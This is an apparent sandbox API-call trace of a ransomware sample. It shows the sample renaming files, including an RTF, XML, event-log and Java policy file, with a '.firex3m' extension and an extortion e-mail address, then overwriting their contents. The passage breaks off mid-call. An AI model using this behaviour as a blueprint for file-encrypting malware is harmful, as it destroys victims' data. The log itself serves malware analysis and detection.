[0084.812] Sleep (dwMilliseconds=0x1) [0084.875] Sleep (dwMilliseconds=0x1) [0084.962] Sleep (dwMilliseconds=0x1) [0085.044] Sleep (dwMilliseconds=0x1) [0085.127] Sleep (dwMilliseconds=0x1) [0085.174] Sleep (dwMilliseconds=0x1) [0085.342] Sleep (dwMilliseconds=0x1) [0085.393] Sleep (dwMilliseconds=0x1) [0085.732] Sleep (dwMilliseconds=0x1) [0085.835] Sleep (dwMilliseconds=0x1) [0085.959] Sleep (dwMilliseconds=0x1) [0086.080] Sleep (dwMilliseconds=0x1) [0086.189] Sleep (dwMilliseconds=0x1) [0086.234] Sleep (dwMilliseconds=0x1) [0086.296] Sleep (dwMilliseconds=0x1) [0086.350] Sleep (dwMilliseconds=0x1) [0086.590] Sleep (dwMilliseconds=0x1) [0086.895] Sleep (dwMilliseconds=0x1) [0087.093] Sleep (dwMilliseconds=0x1) [0087.469] Sleep (dwMilliseconds=0x1) [0089.107] Sleep (dwMilliseconds=0x1) [0090.329] Sleep (dwMilliseconds=0x1) [0091.561] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1055\\eula.rtf", len=0x23 | out: pbstr=0x3f7ff7c*="C:\\588bce7c90097ed212\\1055\\eula.rtf") returned 1 [0091.561] GetProcessHeap () returned 0x630000 [0091.561] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9170, Size=0x18) returned 0x6b0478 [0091.562] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c4 [0091.588] CloseHandle (hObject=0x6c4) returned 1 [0091.588] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.588] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0091.589] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.589] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5240 [0091.589] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0091.589] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1055\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c4 [0091.590] GetProcessHeap () returned 0x630000 [0091.590] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf21) returned 0x727d80 [0091.590] GetProcessHeap () returned 0x630000 [0091.590] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xf21) returned 0x66b140 [0091.590] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.590] ReadFile (in: hFile=0x6c4, lpBuffer=0x727d80, nNumberOfBytesToRead=0xf00, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesRead=0x3f7ff0c*=0xf00, lpOverlapped=0x0) returned 1 [0091.605] GetProcessHeap () returned 0x630000 [0091.605] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8730 [0091.605] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.605] WriteFile (in: hFile=0x6c4, lpBuffer=0x66b140*, nNumberOfBytesToWrite=0xf00, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66b140*, lpNumberOfBytesWritten=0x3f7ff0c*=0xf00, lpOverlapped=0x0) returned 1 [0091.605] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.606] WriteFile (in: hFile=0x6c4, lpBuffer=0x66c03f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x66c03f*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0091.606] SetFilePointerEx (in: hFile=0x6c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.606] WriteFile (in: hFile=0x6c4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0091.606] CloseHandle (hObject=0x6c4) returned 1 [0091.607] GetProcessHeap () returned 0x630000 [0091.607] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x66b140 | out: hHeap=0x630000) returned 1 [0091.607] GetProcessHeap () returned 0x630000 [0091.607] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x727d80 | out: hHeap=0x630000) returned 1 [0091.607] GetProcessHeap () returned 0x630000 [0091.607] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8730 | out: hHeap=0x630000) returned 1 [0091.607] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.607] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1055\\eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0xfc8d7252, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0xf37, dwReserved0=0xcd87496, dwReserved1=0x727d78, cFileName="eula.rtf.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="EULART~1.FIR")) returned 0x6d5340 [0091.607] FindClose (in: hFindFile=0x6d5340 | out: hFindFile=0x6d5340) returned 1 [0091.607] Sleep (dwMilliseconds=0x1) [0091.682] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml", len=0x2c | out: pbstr=0x3f7ff7c*="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml") returned 1 [0091.682] GetProcessHeap () returned 0x630000 [0091.682] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b11f0, Size=0xc) returned 0x6b12f8 [0091.682] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0091.682] CloseHandle (hObject=0x6c8) returned 1 [0091.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0091.683] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0091.683] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0091.683] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13e4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d53c0 [0091.684] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0091.684] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\1049\\localizeddata.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0091.684] GetProcessHeap () returned 0x630000 [0091.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7084418 [0091.684] GetProcessHeap () returned 0x630000 [0091.684] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x708f848 [0091.684] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.684] ReadFile (in: hFile=0x6c8, lpBuffer=0x7084418, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7084418*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0098.519] GetProcessHeap () returned 0x630000 [0098.519] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8848 [0098.519] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.519] WriteFile (in: hFile=0x6c8, lpBuffer=0x708f848*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x708f848*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0098.519] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.519] WriteFile (in: hFile=0x6c8, lpBuffer=0x709ac47*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x709ac47*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0098.520] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.520] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0098.520] CloseHandle (hObject=0x6c8) returned 1 [0098.522] GetProcessHeap () returned 0x630000 [0098.522] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x708f848 | out: hHeap=0x630000) returned 1 [0098.524] GetProcessHeap () returned 0x630000 [0098.524] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7084418 | out: hHeap=0x630000) returned 1 [0098.524] GetProcessHeap () returned 0x630000 [0098.524] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8848 | out: hHeap=0x630000) returned 1 [0098.524] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0098.524] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1049\\LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0xab8ab0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x13e6e, dwReserved0=0xcd87496, dwReserved1=0x7084410, cFileName="LocalizedData.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="LOCALI~1.FIR")) returned 0x6d4f00 [0098.524] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0098.524] Sleep (dwMilliseconds=0x1) [0099.940] Sleep (dwMilliseconds=0x1) [0101.184] Sleep (dwMilliseconds=0x1) [0101.921] Sleep (dwMilliseconds=0x1) [0102.319] Sleep (dwMilliseconds=0x1) [0102.524] Sleep (dwMilliseconds=0x1) [0102.775] Sleep (dwMilliseconds=0x1) [0102.987] Sleep (dwMilliseconds=0x1) [0103.134] Sleep (dwMilliseconds=0x1) [0103.272] Sleep (dwMilliseconds=0x1) [0103.546] Sleep (dwMilliseconds=0x1) [0105.074] Sleep (dwMilliseconds=0x1) [0107.266] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx", len=0x34 | out: pbstr=0x3f7ff7c*="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 1 [0107.266] GetProcessHeap () returned 0x630000 [0107.266] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b0418, Size=0x10) returned 0x6b1478 [0107.266] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0107.294] CloseHandle (hObject=0x70c) returned 1 [0107.294] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0107.294] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0107.295] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0107.295] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x6900167f, dwReserved1=0x0, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICB3F~1.FIR")) returned 0x6d51c0 [0107.295] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0107.295] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x70c [0107.295] GetProcessHeap () returned 0x630000 [0107.295] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x728dbf0 [0107.296] GetProcessHeap () returned 0x630000 [0107.296] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7299020 [0107.296] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.296] ReadFile (in: hFile=0x70c, lpBuffer=0x728dbf0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x728dbf0*, lpNumberOfBytesRead=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.946] GetProcessHeap () returned 0x630000 [0113.946] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0113.947] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.947] WriteFile (in: hFile=0x70c, lpBuffer=0x7299020*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7299020*, lpNumberOfBytesWritten=0x3f7ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0113.947] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.947] WriteFile (in: hFile=0x70c, lpBuffer=0x72a441f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72a441f*, lpNumberOfBytesWritten=0x3f7ff0c*=0x20, lpOverlapped=0x0) returned 1 [0113.947] SetFilePointerEx (in: hFile=0x70c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.947] WriteFile (in: hFile=0x70c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3f7ff0c*=0x4, lpOverlapped=0x0) returned 1 [0113.947] CloseHandle (hObject=0x70c) returned 1 [0113.949] GetProcessHeap () returned 0x630000 [0113.950] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7299020 | out: hHeap=0x630000) returned 1 [0113.951] GetProcessHeap () returned 0x630000 [0113.951] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x728dbf0 | out: hHeap=0x630000) returned 1 [0113.953] GetProcessHeap () returned 0x630000 [0113.953] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0113.953] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.953] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fcc4 | out: lpFindFileData=0x3f7fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb4729e7, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb4729e7, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9df39f0, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xcd87496, dwReserved1=0x728dbe8, cFileName="Microsoft-Windows-Windows Defender%4WHC.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MICB3F~1.FIR")) returned 0x6d5000 [0113.953] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0113.953] Sleep (dwMilliseconds=0x1) [0114.320] Sleep (dwMilliseconds=0x1) [0114.883] Sleep (dwMilliseconds=0x1) [0115.141] Sleep (dwMilliseconds=0x1) [0115.463] Sleep (dwMilliseconds=0x1) [0115.810] Sleep (dwMilliseconds=0x1) [0117.156] Sleep (dwMilliseconds=0x1) [0117.169] Sleep (dwMilliseconds=0x1) [0117.186] Sleep (dwMilliseconds=0x1) [0117.561] Sleep (dwMilliseconds=0x1) [0117.656] Sleep (dwMilliseconds=0x1) [0117.677] Sleep (dwMilliseconds=0x1) [0117.688] Sleep (dwMilliseconds=0x1) [0117.702] Sleep (dwMilliseconds=0x1) [0117.720] Sleep (dwMilliseconds=0x1) [0119.147] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Java\\trillian.exe", len=0x22 | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Java\\trillian.exe") returned 1 [0119.148] GetProcessHeap () returned 0x630000 [0119.148] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x170) returned 0x66a3e0 [0119.148] CreateFileW (lpFileName="C:\\Program Files\\Java\\trillian.exe" (normalized: "c:\\program files\\java\\trillian.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0119.186] Sleep (dwMilliseconds=0x1) [0120.314] SysReAllocStringLen (in: pbstr=0x3f7ff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy", len=0x3d | out: pbstr=0x3f7ff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy") returned 1 [0120.314] GetProcessHeap () returned 0x630000 [0120.314] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x13c) returned 0x66a3e0 [0120.314] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0120.315] CloseHandle (hObject=0x6bc) returned 1 [0120.315] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0120.316] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0120.316] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3f7ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0120.317] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3f7fc6c | out: lpFindFileData=0x3f7fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c76e77, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c76e77, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c76e77, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x62, dwReserved0=0x0, dwReserved1=0x0, cFileName="javaws.policy.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="JAVAWS~1.FIR")) returned 0x6d5200 [0120.318] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0120.318] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\security\\javaws.policy.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0120.318] GetProcessHeap () returned 0x630000 [0120.318] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a46b8 [0120.318] GetProcessHeap () returned 0x630000 [0120.318] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x81) returned 0x6a4ce8 [0120.318] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.318] ReadFile (in: hFile=0x6bc, lpBuffer=0x6a46b8, nNumberOfBytesToRead=0x60, lpNumberOfBytesRead=0x3f7ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a46b8*, lpNumberOfBytesRead=0x3f7ff0c*=0x60, lpOverlapped=0x0) returned 1 [0120.320] GetProcessHeap () returned 0x630000 [0120.320] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0120.320] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0120.320] WriteFile (in: hFile=0x6bc, 